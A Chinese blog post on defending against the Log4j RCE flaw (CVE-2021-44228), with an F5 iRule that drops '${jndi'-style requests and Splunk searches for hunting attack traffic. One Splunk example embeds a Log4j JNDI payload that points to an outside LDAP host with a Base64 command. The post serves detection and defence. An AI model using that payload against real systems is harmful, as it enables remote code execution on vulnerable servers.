撸文背景
最近Apache Log4j漏洞搞的人心惶惶,不少安全厂商也都都第一时间更新了signatrue规则库更新,响应极其迅速。但是毕竟信息安全本质上是就是一个你攻我防不断对抗的过程,所以攻击手段不断变种,不少客户也反馈也有WAF绕过发生。规则库只能暂时缓解攻击,为漏洞服务打补丁争取时间窗口。
Apache Log4j漏洞简介
近期流行的开源 Apache Log4j 日志库中的一个严重漏洞(CVE-2021-44228),对使用该库的数千个应用程序和第三方应用服务构成了威胁。使用 Log4j 框架的应用程序和工具非常广泛,比如 Apache Struts 2、 Apache Solr、 Apache Druid 和 Apache Flink。首先攻击者会插入一个特制的字符串,然后 Log4j 记录这个字符串。然后攻击者可以从外部源代码执行任意代码。目前 Apache软件基金会发布了针对该漏洞的紧急补丁。受影响的组织应该尽快升级到 Log4j 2.15.0,如果不可能升级,则应用适当的缓解措施。
Apache Log4j < = 2.14.1 JNDI 特性用于配置、日志消息和参数,这些特性不能防止攻击者控制的 LDAP 和其他与 JNDI 相关的端点。当启用消息查找替换时,可以控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。漏洞利用成功需符合以下条件,毕竟最终目的是的是C2外联恶意站点,大部分企业很少会开通服务器主动外联互联网,所以风险还算可控。
Log4j 的版本必须是 > = 2.0-beta9和 < = 2.14.1,可能 Log4j 1. x 也受到了影响,该软件已经 EOL 超过6年了。
攻击者必须能够访问目标系统,以便发送恶意的有效载荷
来自攻击者的请求必须通过 Log4j 记录
服务器有主动外网访问权限
Log4j RCE官方漏洞修复指南
https://logging.apache.org/log4j/2.x/security.html
F5 iRules实现漏洞封堵
近期F5也发了关于Log4j漏洞预警,目前F5产品本身不受该漏洞影响。并且F5 BIG-IP ASM/Advanced WAF 和 NGINX App Protect产品已经第一时间更新特征库,可以实现漏洞封堵。但是部分客户表示现网没有F5的AWAF安全设备,只有LTM设备,能不能通过iRules实现漏洞封堵,答案是肯定的。以下是官方提供的iRules规则,多说一句,由于漏洞利用变种较多,该iRules只能减缓攻击,也有被绕过的风险,只是为服务器打补丁争取宝贵的时间。
when HTTP_REQUEST {
# Version 2.0 - 2021-12-11 23:40 Eastern
# - Handling nested URI encoding
# - Improved matching
# Version 1.0 - 2021-12-11 06:10 Eastern
# - Initial release
# less aggressive regexp for those concerned about false positives "\$\{(\$\{env:[^:]+:-|\$\{[a-z]+:)?j\}?(\$\{env:[^:]+:-|\$\{[a-z]+:)?n.+:.+\}" (remove quotes)
# very aggressive regexp "\$\{.+?\}" (remove quotes)
# URI – based on 200004474
set tmpUri [HTTP::uri -normalized]
set uri [URI::decode $tmpUri]
while { $uri ne $tmpUri } {
set tmpUri $uri
set uri [URI::decode $tmpUri]
}
if {[string tolower $uri] matches_regex {\$\{}} {
log local0. "log4j_rce_detection drop on URI: $uri"
drop
event disable all
return
}
set tmpReq [HTTP::request]
set req [URI::decode $tmpReq]
while { $req ne $tmpReq } {
set tmpReq $req
set req [URI::decode $tmpReq]
}
# Header – looks for ${j…} or ${${…}}
if {[string tolower $req] matches_regex {\$\{\s*(j|\$\{).+?\}}} {
log local0. "log4j_rce_detection drop on header: $req"
drop
event disable all
return
}
# Payload – looks for ${j…} or ${${…}}
if {[HTTP::method] eq "POST"}{
# Trigger collection for up to 1MB of data
if {[HTTP::header "Content-Length"] ne "" && [HTTP::header "Content-Length"] <= 1048576}{
set content_length [HTTP::header "Content-Length"]
} else {
set content_length 1048576
}
# Check if $content_length is not set to 0
if { $content_length > 0} {
HTTP::collect $content_length
}
}
}
when HTTP_REQUEST_DATA {
set tmpPayload [HTTP::payload]
set payload [URI::decode $tmpPayload]
while { $payload ne $tmpPayload } {
set tmpPayload $payload
set payload [URI::decode $tmpPayload]
}
if {[string tolower $payload] matches_regex {\$\{\s*(j|\$\{).+?\}}} {
log local0. "log4j_rce_detection drop on payload"
drop
event disable all
}
}复制
漏洞利用行为检测
之前写过可观测性系列文章,我默认大家都已经实现了全网流量的可视化。基于这一点,那么我们如何通过Splunk查看现网主机是否有被攻击的痕迹,或者已经被攻陷?漏洞利用比较常见的方式是在 HTTP User-Agent中携带包含${jndi关键字的恶意执行代码,所以可以使用Splunk直接检索http访问日志。
# Splunk搜索语句
sourcetype=bro:http:json user_agent=${jndi:*}
| stats sparkline values(user_agent) count by src_ip, dest_ip, dest_port
#伪造http User-Agent只是攻击方式其中的一种,也可能${jndi被插入到paylod中也可以使用以下通配的方式过滤所有索引中包含${jndi关键字的日志信息
index=* ${jndi:*}复制
但是一般情况下为了不被waf特征识别,恶意攻击者会对可执行代码执行Base64编码,那么如何通过Splunk进一步解析攻击行为呢?
# Splunk搜索语句
| makeresults
| eval test="${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}"
| rex field=test "\/Base64\/(?\S+)}"
| table string
| cyberchef infield=string outfield=result operation=FromBase64复制
目前漏洞已经爆出来了一段时间,大部分的扫描器已经集成了了Log4j漏洞扫描检测功能,为了更好的梳理现网受漏洞影响的资产,可以使用扫描器对接Splunk分析平台,定期的扫描企业资产然后实现漏洞实时监控。
总结
得益于F5 iRules的可编程特性,我们可以限制漏洞利用行为,为服务器Log4j2漏洞修补争取时间,同时客户惊喜的发现买了F5的负载均衡设备相当于同时买了一台WAF? 通过以splunk安全底座我们实现攻击行为的回放,第一时间定位入侵行为,对失陷主机进行隔离排查,同时梳理企业风险资产,做到心有蔷薇,细嗅猛虎! 参考链接 https://support.f5.com/csp/article/K19026212 https://www.splunk.com/en_us/blog/security/log-jammin-log4j-2-rce.html
觉得本文对你有帮助,请分享给更多人
- EOF -
1、可观测性|使用Splunk 转发器实现容器overlay网络环境下的2-7层全局可观测性
3、手把手教你使用Rancher快速创建一个kubernetes集群